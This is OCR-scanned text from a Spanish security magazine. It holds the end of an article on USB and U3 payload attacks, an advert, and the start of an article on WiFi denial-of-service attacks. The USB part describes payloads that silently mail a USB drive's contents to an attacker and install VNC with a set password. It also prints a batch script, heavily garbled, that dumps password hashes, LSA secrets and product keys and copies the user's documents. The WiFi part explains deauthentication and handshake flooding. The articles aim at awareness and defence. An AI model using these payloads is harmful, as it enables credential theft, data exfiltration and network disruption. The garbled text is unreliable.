Al kgual que el anterior, para gue sus
acciones sean cien por cien efectivas,
se debe contar con privilegios admi-
nistrativos porgue de lo contrario, se-
ra menor la cantidad de informacion y
acciones que se puedan obtener.

De las funcionalidades que agre-
ga a las de su antecesor, las mas
interesantes son:

+ Instala de manera silenciosa y
residente en el equipo una aplica-

www. hakin®.org

cxn que forma parte del payload,
d& manera gue cada vez gue
alguen conecte un dispositive de
aimaceramientc extraible en un
puerto USH, todo el centenido del
mismo, serd emviado por comeo
alectrdmco al atacante. Para ello,
crea un directorio temporal en el
sistema donde descarga los con-
tenidos del payload, ejecuta un
archive con extension bal donde
el atacante puede configurar cier-
tos parametros, coma por epemplo
la direccién de comeo electrdnico
donde recibird la informacion
En ests caso, dicha dweccion
deberd ser una cuenta de Gmail.
Luego comprime &l contenido del
dispositive USB comectado con fa
aplicacion de comgpresion WinRar
para finalmante conectarse con &l
servidor de cormeo sabents (SMTP)
de Gmail mediants un tinel S5L y
erviar el correo a su destinatans.
Esta funcionalidad sa guarda en el
registro de Windows para iniclarse
aulomaticamente en el siguents
reinicio del sisterna.

* Instala en el equipo la conocida
herramienta de adminisiracién
remota VNG, que permite al
atacante, dependiendo de su
posician y de la arquitectura de la
red en la que se encuentra, acce-
der remotamente al equipo. Esta
instalaciin se realiza de manera
silenciosa y configura por delecio
la contrasefia yougothacked para
acceder al sistema

* Ejecuta el conocido scanner de
puertos Nmap y realiza un barmido
ICMP (=P} en fa red de drea local
&N la que se encuentre ka estacion
de trabajo para identificar otros ho-
st y guarda los resultados en un
archivo de texto que después envia
por comeo ekectronico a la denec-
cion que el atacante especificara
en la configuracion del payioad.

Este payload es mas avanzado ¥
funcicnal que &l anterior, perdurande
en el sistema y permitendo que el
impacto del ataque sea aun mayor.
Para ilustrar técnicamente en al
Listado 2 se pueden observar las
acciones ejecutadas por Hacksaw




USE Hacks

Listado 6. Acciones ejecutadas por Simuknife

Becha of £

1f pot exlst \Documents md \Documents >nul

nul
cd \wiphemd >nul
Echo #¥*sésdsididisibiiibisdissrsistissss o \Doouments) logfiles\ lesspnb ernased. 1og 2>£51
echo ###+edddded [Fygpiem [nfo]l**oteodredss on \Documeal s\ loghiles\ §oomgnlerieemsd . log 2561
Echo ##+eevsstssstvrsrsrvertrrsses *% 33 \Documents\logfiles\kcosputernmsst. log 3>51
echn Compater Mame [o: icoeprternaset and the lLogoed on Eder Bame [s: $userpamet The dete and Tiaa I8: tdatet $timed
>> \Doewmand o\ Logflles\ tesegt erasse . log 2541
fpconfi; /all >: \Documssiz\logfiles\iceaputsrnsnei. log 2>61
Echo *#sessssssssssstrsrsssssrssssrsivens 5y \acumantlogfiles| i ccmpul meiuame’ . log 7561
echn #éeesssdies [Dumpe BEMIOreasrosrnsiies 2o \Deermanta\ logfiles\ hemputstnamet . 1og 3541
Echo FFaesssisesseressrrsseess *¢ 35> \Docussntz\logfiles\sempubsrnamet, log 351
Apwdump 127.0.0.1 >> \Pocwsanks Logfiles i=ssgadt rrmsmet, log 2>51
Echo ##+E#s3ds3fibbisissdiipssssiisssst o5 \Docummnta' logfiles' Somsgnit eriuame® . 1log 251
echo **eessserss [ Mg Frofuct Esvs]****** >> \Documsnbs\logfiles\ Secsgniteinimmet. log 2>61
Echo #+#4#dsdssbisiisddsstibidsbisbistdss 5o \Neoimeml o) logfiles\ bocmgil eriessd, 1og 251
Aprodukey /mosavered /stext "\Decwmentshlogfiles\d computérmmngh pi.log™ /remote toosputernamet >> \Docimestd
logfiles) tcomputnrnamet . log 2>sl
copy \Documerts\logfiles\iccepuisrnemet, log+\ Docimsrta) logliles\ scomput nrneset_pk.log* \Docwmentsllogfiles)
nul
del /L Jq ™Documents\logfiles\ scosguternuassl_pk.Tog" >nul
Echo ##8tsdsissnunispriarsasiivinnsinneis 5 \Degymants\logfiles\ i cosguharnamet . log 3>51
von [Dump LEA SRETRLE] Y 3> \Documents\logfiles\ hoomgakarfuamet. 1og 23451
Echo **+*#esstsssssssessvrnssibasnretrsios 5o \Doouments']loqfiles\ soomput armamet . 109 2551
Apspv.exe /stext "\Documents\logfiles\icowputermnel LR, jog® >> \Documatits\logfiles) Seamjniksrnmmet . log 2>61
copy \Bacimmits\logfiles\icomputsrnemsi, log+\ Doswmes kil logfiles\ Scomputernamed_lsa. log* \Domments\ logliles'
nul
del /f /g "\Documents\logfiles\ Seemgariertssal_lea. g™ >nul
Echo *+ttrsssssasavssssissnreprrnnspersar 55 \Documents\logfiles\ boompub erimed . log 2>51
echo ##esssesees | [Nmp Wetwagh FW|*es+eres o5 \Documsmts\logfiles\ ioompubarmemst, log 2>51
Echo *##eeddddbsddvbbtsbissdipbsssribssss 5o \Documanta' logfiles| iesmpub sriummed . 1og 2>51
Nmelpass exe /stext ™\Documentshlogliles\ Scamuisrusmet_cp.log” >> \Documeirts\ logliles Scosgaiberiemi. log 2251
copy \Documectz\logfiles\ioomputernmmel. log+\Decumectst logliles\ icomputernemst_np.log* \Documantsilogfilesh
nul

echo **

del /f /g ™Documents'logfiles' Sommpirtarnnaed_np.iog" >nul
Echo thdssdbisrispbirsiibsssiissririrtist 5 \oommantallogfiles\ boassnibwttimmed . 1og 2551
echo #¥#edisdred [ Dopmn mmapaliguy FH]Y A4 0ed s oo \Dogume b\ Jogiiles\ icoapUt ermessst . log 2561
Echo #Fidad b i bbb b bdai i ddd bbb nipin 5y \ml‘\lng[jles\imh,m‘llw 2)51
Amapaga. exe /stext "\Documents\logfiles\ dcompirternsmel as.163" >> \Documemta\logfiles\ioomputernsmet.log 2>l
copy \Darumarta\loqgfiles\ bempitnrnesst, 1og+\ Daemant st Loqfiles\ Soomtitetnesed ms.log® \Dacrmastal 1ogfiles\
nul
del /f /q "™ Documents)logfiles\ doompir

Echo #Fasedbdbisssibbadiiddiddivasiinas

amsl ma, og" >nul
> \Documont ' 1ogfiles\ t comput ernemet . 1og 2>51
echg *eesssssess [imn UL HIEEory] ***** %+ >> \Documwmte'logfiles\ fcompnut srnamet . log 2>s1
ECho ##H#0444400ttbsstsbanttbrassstsnssts o5 \Npenagnbe' logfiles' becmpubwrrammed . 1og 2>51
cscript Armslage oD wie *> (Docoseats ) dogiles | Rocaputernamel, Jog FrED
TYPE \Docicsembs\logiiles\ dcosputermesst, log | find ™:::" | find /V "0 FAESNGRE™ | find /V “Eslgheslotant= | find /v
“ASENET™ >> \Docusmiili\]ogiles\pwfile.txt
mkdir #~d0\dociuments) s compul s rnanet

moopy "Ct\Dociments amd Bectings\ Susernmsl\ M2 dosmertes)* . doc™ $~d0\dsciments\ Yommmiternaes? /s/c/q/r/h
xcopy "C:\Docummits and Settings\ tmsrnesel\Mlas doometton)* x1s" $~d0\documents\ Scommilernmed /s/c/q/v/h
xcopy "Cr\Docemmits amf Setiligs\ tmsrneel\Mls doomsicten)? txt™ $~d0\document s\ Somguilerisesd /3/c/q/c/h
xcopy "ChDocummntsd mnd Jettinge\ tusernesel’\Mlz documentes’* .rdp" §~dO0\documentas) Scomputernssed /s/c/q/r/h
zcopy "Ci\Docimetrts and S2ttlngs\ tisdrnmsel’\Mlz docmentes\t.jpg" $~d0\documents) Soommiternamet /s/c/g/r/h
moogy O\ Docimseirt s SettIngs\ ussrnmms B\ My Dociments) s doc® §~d0\documenta’\ dossndit eriasss /s/c/q/1/h
xoopy "C:\Docamwivk§ Asrtings)\ tussrnasel\ My Documents) v . x1s" §~d0\docimssts’\ dooaputisresssd /s/c/q/r/h
xcopy "C:\Docmmints ans Selilime\ bunsrnssed\ My Docomsnta\ . txt” i-do\document s\ icommiisrmeeet /s/c/q/r/h
meopy "Ci\Docmmaits and Battlnor\ bmaroesel\My Bocusenta\’ . rdp” §-d0\documents\icomputernamet /s/c/a/r/h
xeopy "CriDecimmits and JettIngs\ Susernsmei\ My Documentsi*.jpg” b~do\dscumenta\lcomputsrnames /s/c/qfr/h
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Los componertes de  HackS
tierm ofros proyecios sn desarrolio
como son Antidofe y Chainsaw, los
cuales prometen mas funcionalida-
oes ndas.

Ataques Utilizando
dispositivos de
almacenamiento USB
sin tecnologia U3

Hasta agul hemes hablado de atagues
rebEEonados S EepeEithve s Gin gul
utilzan tecrologla U3, pero por su
pussio, fos payioads arriba expuesios
tambn pueden funconar deniro de
ek R wUlilcan aska nologs. Eso &,
cada vez que ol espacio disporible en
&l misma lo pernita.

La Unica gran deenenca o que el
paipiodd N aritran on funcionamianis,
hasts que no exista UNa MiNMa, pen
nNecERana mervenciin por parie del
usiario victima. Cuando inssrtamos
un depostve ne U3 an un sistema
con Microsalt Windows XF, st o re-
CONGCR oMo una unidad de almace-
namisnio axtralble, y lusge medianis
LNE VRN SMargents o popsup pre-
punta al usuario qui acciones desea
ejpoutar on relacién a ose medio,

En wstn caso y con el fin de syudar
al usuaric incautn y desprevenido a
inmar i decscn scbne cudl de las
acciones del mand alegr, al atacanis
Chedrh v Colsank on ol dspowing un
sandllo archivo autosjecutable o au-
fonun, come podemas observar an el
Listade 2 Este aparecers coma pre-
delormirado y = o usuario, siguisndo
Ias peores pricticas, scepta la opcién
&in leer atentaments, el paylod en el

b Aard y

@ eleccidn todos los archivos con las
sxipnsionss gue o atacanis determi-
na i coptarkos al propio Ipod, les cus-
los Mo ¥a SAbEITOS, PORBEN Gran
capacidad de almacenamianio

En ol Listade 4 podemas chsorvar
wer 8 socones lipcas nealizacss
an este tipo de ataques. El atacante
pedria afady mis linsas de codige
para que este ssa efective tambidn

# punfa mds dificil para aphcar una
contramadads sed o Sigects lundic-
nal, o que I erganizacidn identifique
¥ comprenda los nesgos de fener
halbditades ko pusrtcs USE y decica
tomar alguna medida al respecto.
Comd &b obBbrva &n &l 8-
ticulo, o fin principal del mismo no
o8 Sol0 aplsar Woricamenty Shird
funcionan esios ataques, sino que

an versiones Oel siste 't
.ﬂﬂ"mmmm
obssrvares on ol Listsde 5.

Por Uimc &l atacanis podria
decidir combinar todas las tbon

demds bene como fin moslar y
wmar conciencia de lo sencillo que
podria resultar & un atacants o usua-
rig mabcicsn  axbraer irdormacdn

en ol denominado Simuknle v que
podemes cheervar en ol Listede &,

Conclusidn

Come Gitimo punte me gustarts man-
cionar g los problemas cavsados
por los ataques descritns Senen so-
lucién desde ol punte e vista doni-
oo, ¥ no as pars nada complaja, Por
sjprglo, 88 pusds desasrollar una
politica do segurided que deshabdite
a0 [as estaciones de trabajo y ssrvi-
dores I8 funcignalidad de s posrics
LISE. Existen disponibles gran can-
redlizar esta resfriccion y muchas
abras varanies relacionacas. Quizas

il 3 NG ongar Wm win da-
masizdo esfuer2n ni conocmienio
Refexiones acera de lo usual
qui o5 ol acha de intercamisar infar-
macién utlizando esios despositivos,
e cuanios eQupos quedan desa-
wndides con acces pdblice a ks
cuales un atacants pusde axtraerkes
nfermacion en 30 segundos sin ni
sequiers tocar ol teciado, en cuantos
usuarios sospecharian que un jpod
pusde causaries amc dafio, eic. La
lista de escenaros podria continuar
¥ continuar
Por alo y come as mi costumbee,
wrminard este articulo con la siguen-
o brakd Lir criitieoad aplosda & fog
mulb# conlra e que muy
hdas &

~
Sobre el Autor

Ezequial Martin Sallis desarmolia su camen e IMFOSEC, con base +n ol aprendizai
rmmnmu Ha trabajado durante large temps en lag conmullonas mas

| Publico

do wervicion para

P dal dmbita Gub

erIchtlrhl ity naschonal coma indernacional
m--m,m&m—emuaﬂt wr Cormulion

60 con bases en s Argenting, y con smpla

Lt oL Bl I-‘ GETRO.

indes sus funcionaldedes. Lo misme
sucaderd & haos doble chek sobde al
icano de acceso al medio de almace -
namisnto axtralble. Como podemocs
cbserdar, ambas thonicas producen
efoctos muy similares, pero difieren
& |8 Manera de &Eculares.

Par @tima y dentre de asts cale-
goria, sxiste una bbcnica muy original
gue se ha mencicnado anienionmen-
1o Esla thonica conocida como iped
siwping, cuye ciojeive no o ol de
ochiunor conftosefes, & no @ do
sxirder de un di el

Exi e gran P
inbernacional, enbro las que so puedion mencionas CISSP, Ethical Hadking y ot Ha
participado come Orador en gran cantidad de seminarios y evenios infermaconales
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REBAJAS DE VERANO EN
PUBLICIDAD EN HAKIN9

¢, Le gustaria invertir en publicidad,
pero su presupuesto no se lo permite?
iNosotros lo entendemos perfectamente y por

eso hemos preparado algo especial
para Usted y su empresa!

Desde ahora y hasta finales de Julio tiene
la posibilidad de obtener su publicidad

jhasta un 40% mas barata!

jAproveche esta ocasién y péngase en
contacto con nosotros ahora mismo!
Esta oferta incluye publicidad en la edicion
impresa de la revista,
en la pagina Web y en el boletin de noticias.

mp Contacto: adv@software.com.pl
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Ataques DoS en redes WiFi

Asier Martinez [

Graide de difoullad
o000

La generosidad del medio fisico de las redes inaldmbricas junto
a la falta de autenticacidn de las tramas de administracidn,
responsables de las tareas mas importantes de la red, convierten
al estdndar 802.11 en un mundo perfecto para los sombreros

negros.

n esie end donde la falsificacidn
di tramias ¥ la escucha de eforrnacidn
resulta trivial han profiferado gran can-
tidad de atagues de denegacion de servico,
por B ogue conccodics mesulta fundamartal
para poder detectarios y mitigar sus &f &n

madia, La implementacidn de cada uno de esos
SEMACHS OEFREMDOCE $N UNG MEW0T Dok -
dad, del protocolo, y @ mayor complejidad, méds
posibicdades de comablr erTomes do Csaeto,
Una muestra que refleja esta complejdad la

nuestras redes.

La o = pal ¥ la mas 2
enire una red cableada y una inalémbrica es ol
erpcten figacn que 8 LHIER paca |8 transmesidn de
I3 informacian. Esta déarencia es, sin embanga
mds profunda de kb que puede parecer Bn un
Brincipio. Senvicios Bn DAsIces come 1 acota-
cidn de los litmites de conscxidn a la red, que en
und red cableada e Imitan al pok de comxidn,
=8 comasrion an las redes B02 11 en una tarea
carphei qub HBcHsits sar implamartaca an al
proiocolo. Las peculiaridades del medio fisico
imalimiwico comierten en tivial la captura de
informacidn v requienen ks integracisn de me-
canSMOs que Garantcen ka integridad y con-
fidancatdad ks daios Debido & s dversos
tipos de estaciones posibles y & la suposicain
de estediones miviles, tambkén se demandan
facanmmos de contrel que permitan el shorma
de energia, asl como cierins servicios de confrol
de errores debido a la naturalera i dal

sl irar on gl nimem de tpos do
frama que posss la espacificacian B02.11; rein-
ta y dos, frenis & solamsnbs una en las edes
Ethemet. En un software tan complejo gue debe
propomionar ssnvicios tan diversos, era insvi-
table que surgieran atagues de densgacidén da
SRMVICIO QU pUSIenEn &n paligno la deponibildad
de las edes B2 11. A continuacidn se detalla-
rin oes rreks significativos v |8 maners en la que
afectarian a ruesiras redes.

(

En este articulo aprenderis...
Cusles gon y comas funconan ke diversos ata-
oy Dol exsbenies an s redes BOZ.11,

A conccer los palgros de cada ataque y sus
peculiaridaces pars poder diemsncisrcs.

Lo que deberias saber...

+  Concimeente alavado sobro redes ViF
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Atagues DoS en redes WIiFi

Asociacidn g
autenticacion en 802.11
Los ataques de agotamients de
recursos no son algo nuevo en las
redes actuales. Los clasicos ataques
S¥N food o de desbordamiento
de las tablas CAM de los swilches
son algunos eemplos clasicos de
este tipo de atague. Todos estos
atagues se basan en la generacion
de situaciones falsas que requiaran
al dispositive que proporciona el ser-
vicio, la reserva de cierta cantidad
de recursos, por lo que cuando se
reservan mas recursos de los que
estan disponibles, el dispositivo pue-
de dejar de responder o comenzar
a comportarse de manera erritica
o inesperada. Las redes WiFi no
estd exentas de sus peculiares ata-
gques de agotamiento de recursos. A
continuacidn detallaremos los mas
significativos.

Dentro del estandar 80211 se
define el funcionamiento de diversas
topologias. Cada topologia cormes-
ponde a unas necesidades diferentes,
por ej@mplo las redes ed-hoc o IBSS
(ing. independent Basic Service Sef)
tienen como cbjetivo la creacién de
redes provisionales de manera sen-
cilla. Por el contrario las redes de in-
fraestructura son mds indicadas para
instalaciones dedicadas a proporcio-
nar conectividad de manera fija. En
las redes de infraestructura existe un
coordinador que es el encargado de
diversas tareas de administracién de
la red, asi como de coordinar el trafi-
co que generan las estaciones. Este
coordinador &s tambidn comunmente
conoccido como punto de acceso. Al
ser éste el elemento méds importante
de la red 80211, un ataque DoS rea-
lizado con éxito al punto de acceso
comprometeria la disponibilidad de
toda la red

Como e ha comentado en la in-
troduccién, las redes B02.11 carecen
de unos limites fisicos tan definidos
como las redes cableadas. Ademas,
el profocolo estd disefiado bajo la
premisa de que varias redes pueden
cosxistir en el mismo espectro de
radic. Para proporcionar los mismos
servicios de conectividad que una
red cableads es necesario estable-

cEr UNos mecanismos de asociacidn
y aulenticacién que deferminardn a
qué red BO2.11 se conectara la es-
tacidn, mecanisma similar al jack de
conexion de una red cableada. En la
Figura 1 podemos observar los esta-
dos que determinan una conexidn con
éxito a una red 802 11, Cada vez que
una estacion decide unirse a una red
espacifica, se realiza un intercambic
de tramas de pebcion de asociacion
¥ aulenticacién y s [a asociacidn
s8 realiza con éxito, en &l punto de
acceso so puarda esa nformacidn
asociandole un dentificador unico a
es8 asociacion. Como consecuencia
de la sencillez de falsificar este tipo
de tramas. un atacante podria gene-
rar gran cantidad de peticiones falsas
con direccioneas MAC también falsifi-

Estacion legitima Atac:

\

Respuesta de autenticacion

ey

Peticion de asociacion

Respuesta de asociacion

Anulacion de

Disociacion
Data

_

Anulacion de autenticacion

cadas que podrian provocar que el
punto de acceso dejara de responder
debido al agotamiento de recursos.
También se podria atacar a las esta-
ciones asociadas a la red enviando
una trama de disociacion o anulacidn
de autenticaciém provocando que al
cliente abandonase la red y que no
pudiera volver a conectarse si en-
viaramos este tipo de tramas perio-
dicamente, El atacante podria tratar
de expulsar a todos los usuarios de
la red simplemente enviando una tra-
ma de anulacién de autenticacién a
la direccidn broadcast. Para realizar
estos ataques existen multitud de he-
rramientas, se mostrard un ejemplo
sencillo de ataque DoS realizado con
la harramienta aireplay-ng de la suite
sirckrack-ng. Para realizar un bom-

ante Punto de Acceso

Peticion de autenticacion

\
/

autenticacion

Figura 1. Proceso de aufenticacidn y
afagues de asociacidn y anulacion de

asociecidn de una estacion 802.11,
autenticacion
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bardeo de peticiones de deautentica-
citn a la direccion broadcast.

Donde 300 es la cantidad de ataques
a realizar, la opcidn -8 especifca la
dirgccion MAC del punto de acceso
y athQ la interfaz de red por la que s&
enviara el atague. Si no se especifi-
ca la estacion destino se utilizara la
direccién broadcast Mediante este
ataque provocariamos que ninguna
estacidin se pudiera conectar a la
red mientras sa estuviera realizando
el atague. En realidad, para realizar
todos estos ataques, excepto en el
caso de los ataques de inundacidn
floods, donde es necesario cambiar

Suplicante

_ Beacon + RSN IE (Opcional)

Autenticador (AP)

Probe Request

=
Probe Response + RSN IE
del autenticador

Peticién de autenticacion

o

_ Respuesta de autenticacion

<€

Peticion de asociacion +
pardmetros RSN IE elegidos

_Respuesta de asociacién

EAPOL-Start (Opcional)

EAPOL-Request Identity

EAPOL-Response Identity

Autenticacion Mutua

|la direccign MAC, tan sdlo necaesita-
riamos una herramienta de inyec-
cién de trafico, como por ejemplo
voidi1 para tarjetas soportadas por
el driver Hostap, la libreria LORCON,
Zulu, Mdk2, Scapy y un largo etcéte-
ra. Conviene comentar que muchos
puntos de acceso comerciales vie-
nen con medidas que mitigan estos
ataques, por ejemplo, son capaces
de ignorar durante cierto iempo un
atague de inundacidn o flood de tra-
mas evitando asi caer en un ataque
de denegacion de servicio.

Ataques EAP

En el protocole EAP se plantea la
misma situacion que en los atagques
medianta tramas da adminstracion
en 80211, Este protocolo se utiliza

Servidor Radius

Peticion RADIUS

Y

EAPOL Success

\4

Aceptacion

EAPOL LogOff

Clave de Sesion
Maestra

Figura 2. Proceso de asociacion en una red con segundad robusta
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en la arquitectura B021X para pro-
porcionar mecanismos de autentica-
cign. El uso de EAP en redes LAN
come 802.3 u B02.11 se realiza me-
dante &l protocole EAPOL (ing. EAP
Ower Lan) que lo encapsula. EAPOL
no proporciona ningun tipe de auten-
ticacidn a sus tramas y esio da pie
a que se puedan realizar algunos
ataques de agotamiento de recursos
que mencionaremos a continuacion.

Algunas tramas como EAPOL-
Start requieren que el punto de ac-
Ce%0 reserve recursos y por lo tanto
representan un peligro potencial. La
trama EAPOL-Starf es un tipo de
pagquete que no estd autenticado, y
que es facilmente falsificable. Cuan-
do un atacante envia esta trama
al punto de accesc este responde
con una trama EAP-Identify-Request
y resarva recursos en e punto de
acceso. Si se realiza el envio desde
miliples direcciones MAC falsifi-
cadas, se podria llegar & agotar kos
recurses del AF Las buenas noticias
son gque esta trama es opcional y
puede deshabilitarss su uso, Muchos
puntos de acceso comerciales vienen
con la opcidn de ignorar por defecto
aste fipo de tramas Asimismo, un
atacante podria tratar de agotar los
identificadores EAF (0-255), ya que
es necesanc que ésie identificador
sea unico para un puerto 8021X o
asociackin 80211, asl que algunos
puntos de access blogquean las co-
nexiones a partir de que éste identifi-
cader alcanza su limite maximo. Este
es un eror de implementacién y no
s necesano, asl que la mayorla de
los punios de acceso actuales han
corregido este error,

Ademds de los atagues de agota-
miento de recursos también podemos
encontrar algunos ataques de ident-
dad. EAF incorpora cierfos meca-
nismes para nofificar fallos durante
el establecimiento de la conexién
802.1X. Estas tramas al no estar
autenticadas se pueden falsificar fa-
cilmente v pueden interrumpir el es-
tablecimiento de conexidn, por lo que
un atacante podria enviar una trama
EAP-LogOff, EAP-Failure o EAP-
Swecess faksificada para terminar la
negociacidn. El éxito de estos ata-
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gues depende de la implementacidn
enal chente v en &l avtenticador. Enla
practica muchas de estas tramas no
s0n necesarias en las redes BO211 y
podrian ser ignoradas. Para realizar
eslos ataques, un atacante tiens que
recurrir a las fipicas herramientas de
inyeccion de trafico, hacerse las su-
yas propias o utilizar la herramienta
mdk2 que tiene la capacidad de rea-
lizar algunos de estos atagues, Para
obtener mas informacién se puede
consultar la seccion En la Red.

Ataques a 802.11i

Una de las formas de ataque contra
redes protegidas mediante 802.11i
es corromper el valor de la suma de
comprebacidn de integridad de un
mensap TKIP Michael. El estandar
dictamina que =i se detectan varios
marcos con MIC corruptos en un se-
gunde, el receptor debe esperar un
minuto y generar una nueva clave
de sesidn, de esta manera un ata-
cante que COrOmMpa varias veces
el MIC cada 59 segundos podria
realizar un ataque DoS sobre la red.
Este ataque en tearia funciona, pero
en la practica es dificil implementar-
lo. El atacante podria intentar gene-
rar tramas falsas para generar MIC
invdlidos, pero esto no es posible,
no vamos a profundizar en la razdn,
ya serla porque seria necesaria una
larga explicacion acerca del funcio-
namiento de algoritmo Michael Asi
pues, la unica opcion que le queda
al atacante es la de evitar que el
marce verdadero no llegue a su
desting, altarar |2 trama, recaleular
su GRC, y enviarla de vuelta al pun-
to de acceso. Esta tarea es posible
pero bastante dificil, aungque existe
una implementacién de sste ataque
en la herramienta mak? para gene-
rar ramas falsas.

RSN |E Poisoning
Este ataque se basa en la genera-
cién de una trama Besacon falsa que
contenga informacidn especialmente
manipulada en el elemento de infor-
macién RSN (ing. Robust Secunty
Network).

B0211i realiza una werificacion
del campo RSN, (Figura 3). Dicho

elemente contiene la informacion
nacesana para realizar el proceso
de autenticacién con éxito, El punto
de acceso que es el autenticador,
debe nsertar la informacién nece-
saria en las tramas Beacon y Probe
Response La estacidn, que achia
come ef suplicante debe insertar la
informacién elegida en sus tramas
de asociacion o reasociacion. El au-
tenticador y &l suplicante ulilizan los
parametros de seguridad negociados
para llevar a cabo la awtenticacion y
la sleccidn del protocolo de adminis-
tracidn de claves. Fara confirmar la
autenticidad de los elementos de in-
formacion, el suplicante debe incluir
el mismo elemento de informacién
que utlize para asociarse en sus
peticiones dentro del denominado

4 way handshake. E| autenticador
a su vez debe nclur el misma ele-
mento de informacidn que en los
Beacon transmitidos previamente.
Las comprobaciones de estos cam-
pos s& realizan durante el paso 3 del
handshake, donde el suplicante com-
prueba bit a bit gue el elemento de
informacion recibido en la actualidad
carmesponde con los recibidos an las
tramas Frobe Response o Beacon
anteriores. Si ks campos no son
exactamente iguales el suplicante y
al autenticador anularan la autentica-
cidn mutuaments y se registrard un
arror de seguridad, este mecanismo
de confirmacion previens gque un
atacante pueda convencer al auten-
ticador y al suplicante de utilizar unas
medidas de seguridad mas débiles.

Autenticador (AP)

Suplicante
< Beacon + RSN IE
SA— Beacon fdso + RSN IE Modificado |
Probe Request ~
< Probe Response + RSN IE
lq--——___Probe Response falso + RSN IE Modificado |

Peticion de autenticacion

Y

Respuesta de autenticacion

A

Intercambio de tramas

Trama con llave de grupo. RSN IE del
autenticador (y otra informacion)

Chequeo de RSN IE fallido,
disociacion

Figura 3. Ataque de envenenamiento del elemenlo de informacion RSN

wwiw. hakin®.org



>><< Ataque

Blogqueo de handshake

El apratin de manos de 4 fases es un
compenenie esencial de ta asocacién
en redes con seguridad robusta v su
objstivo &5 confirmar la posesidn de
oertas claves en el autentcador y el
suplcants y derivar nuevas claves para
datos posteriores. Durante & negocia-
cidn o handshake, el autenticador v el
suplicante generan sus propics Nonces
y 52 los envian entre ellos unto con las
direcciones MAC de cada uno. Los
mensajes nimeros 1 y 3 contienen
el nonce (Figura 4) generado por el
autenticador, mientras que el mensaje
numero 2 contiene el nonce generado
por el suplicante. El mensaje niomero 4
&% una trama de confirmacidn que indi-
ca que &l handshake se ha comphetado
con éxito. Mientras que los mensajes
2,3y 4 estiin aulenticados, el mensaje
numero 1 no lo esta, asi que para pre-
venir que un atacante pueda falsificar
&l mensaje ndmero Ty pueda afectar
al PTK (ing. Painwise Transient Key),
802 11i adopta dicho PTK temporal pa-
ra almacenar los nuevos PTK ganera-
dos hasta que se vernfica el mensae 3.

Suplicante

Nonce del autenticador, msj 1

Sin embargo, esto propscia que existan
atagques DoS sobre el suplicante, ya
que debe aceptar todos los mensajes
1 que recibe para asegurarse de que
el handshake puede completarse en
caso de pérdida de paguetes o retrans-
misiones. Esto permite a un atacante
causar una inconsistencia en el PTK
entre el suplicante y el autenticador
emnviando mensajes 1 con valores non-
ce diferentes entre los mensajes Ty 3
legitimos. En resumen, o suplicants o
clente tendra que guardar todos los
mansajes falsos ¥ sus pares de claves
dervadas hasta que se venfique la
comecta y s& descarten, con lo cual
ur atacante podria provocar un ataque
de denegacin de servicio basado en
el agotamiento de memona emnviando
gran cantidad de mensajes falsos.

Ataques de
sincronizacion

Los atagues de sincronizacidn son
algo més desconocidos y quizas
no sean demasiado précticos, por
eso tampoco me extendaré en la
exphcacién de los mismos. Se puede

Autenticador (AP)

A

PTK derivado

Nonce del spulicante. RSN |E del suplicante, msj 2

Nonce1 del autenticador falso. msj 1

Nonce autenticador, RSNIE autenticador, GTK, msj 3

PTK derivado
GTK aleatorio

Figura 4. Ataque de food duranfe el 4 way handshake
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obtener mas informacion sobre este
tipo de ataques en la seccién En la
Red Para comprender este tipo de
ataques &s necesana comprender
previamente como funcionan algunos
mecanismos del protocolo 802.11.

Power Saving Mode y PCF

El funcionamiento normal de las re-
des inalambricas supone un acceso
constante al medio (CAM, Constant
Access Mode), Es decir, s& escucha
de forma constante la red con al
consigulents consumo de energia.
En dispositivos moviles puede re-
presentar un serio incomnvanianta
el excesive consumo de bateria,
por lo gque 80211 establece unos
mecanismos para intentar evitarlo.
El mecanismo consiste en apagar
el adaptador y hacer que se active
en periodes regulares en todos los
adaptadores de la red en busca
de un paguete bescon especial
denominada TIM (ng. Traffic Ind-
cafion Mag). Durante el tempa que
transcurre entre paquetes TIM el
adaptadar s& desactiva para ahorrar
energla. Todos los adaptadores de
una red tienen gue activarse simulta-
neamente para escuchar el TIM del
punto de acceso que informa a los
clientes que tienen datos pendientes
en su buffer. Cuando un adaptador
sabe mediante & TIM que tiene
datos pendientes permanece activo
el tiempo pecesano para recibirios.
DTIM es un temporizador maltiplo
de TIM, gracias a este valor, que
podemos configurar en el punto de
acceso, podemos especificar cuanto
tiempo tiens que permanecer una
estacién activa para buscar trdfico
de difusién. Fara realizar estas ta-
reas @s necesaria la sincronizacién
entre las estacionas, esto se realiza
mediante el campo B85S Timestamp
que reside en las tramas beacon y
probe response.

Si un atacante falsifica los pa-
quetes beacon podria desincronizar
la red pravocando asi un ataque de
denegacién de servicio. Ademas de
la desincronizacin, aparece ofro
problema importante, si la estacién
cliente envia una trama PS5-Poll al
punto de acceso, este le respondera
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con los datos que tenga almacena-
dos en su buffer para esa estacién,
Si un atacante falsifica esa trama
FS5-Poll cuando la estacion esta
durmiende, el AP enviara los datos
¥ estos se perderdn sin notificacidn
alguna, provocando asl una pérdida
de informacidn. La desincronizacidn
no sélo afecta al modo ahorro de
energia, sino también al modo PCF
(ing. Point Coordination Function)
una funcionalidad opcional que
proporciona @ una red de infraes-
tructura el acceso sin contencidn.
En este modo de funcionamiento, a
diferencia de en el modo DCF (ing.
Distributed Ceordination Function)
donde las estaciones luchan por el
contrel del medio, el punto de acce-
80 actia como coordinador PC (ing.
Point Coordinator), enviando tramas
PS5-Poll a las estaciones cuando les
concede el deracho a transmitir. En
este escenario, la sincronizacion
también es critica y s un atacante
consigue desincronizar el reloj de
las estaciones se puede llegar a pa-
ralizar el trafico de la red. Hay que
comentar que algunos de estos ata-
ques son tedricos y demostrados en
simuladores pero no se tiene cons-
tancia de su realizacion con éxito en
entornos reales.

Ataques al firmware/
drivers/software

El software de las estaciones 80211
ya sean punios de acceso o estacio-
nes cliente también puede ser objeto
de diversos ataques. Debide a la
complejidad del protocolo, un atacante
puede encontrar diversas opciones.
En un principio, eran comunes los ata-
ques que enviaban informacion falsa
en las tramas Beacon confundiendo
a las estaciones clente v evitando asi
que sa conactaran a la red legitima,
por ejemplo activando el bit de en-
criptacion en dichas tramas cuando la
red legitma no wilizaba encriptacian.
También muy conocado es el fallo que
afectaba a algunas interfaces de red
que cuando emitian una peticion de
prueba, Frobe Regquest un atacante
podia responder con una trama FProbe
Response con SSID nulo, y provocar
un comportamiento erratico en dicha

interfaz. Mas adelants a raiz del boom
en la conferencia Black Hat, donde se
demostrd que era posible tomar el con-
trol de un ordenador portatil atacando
a susdrivers, se hicieron plblicos algu-
nos emores aprovechables que no sdlo
permitian la denegacion de servicio,
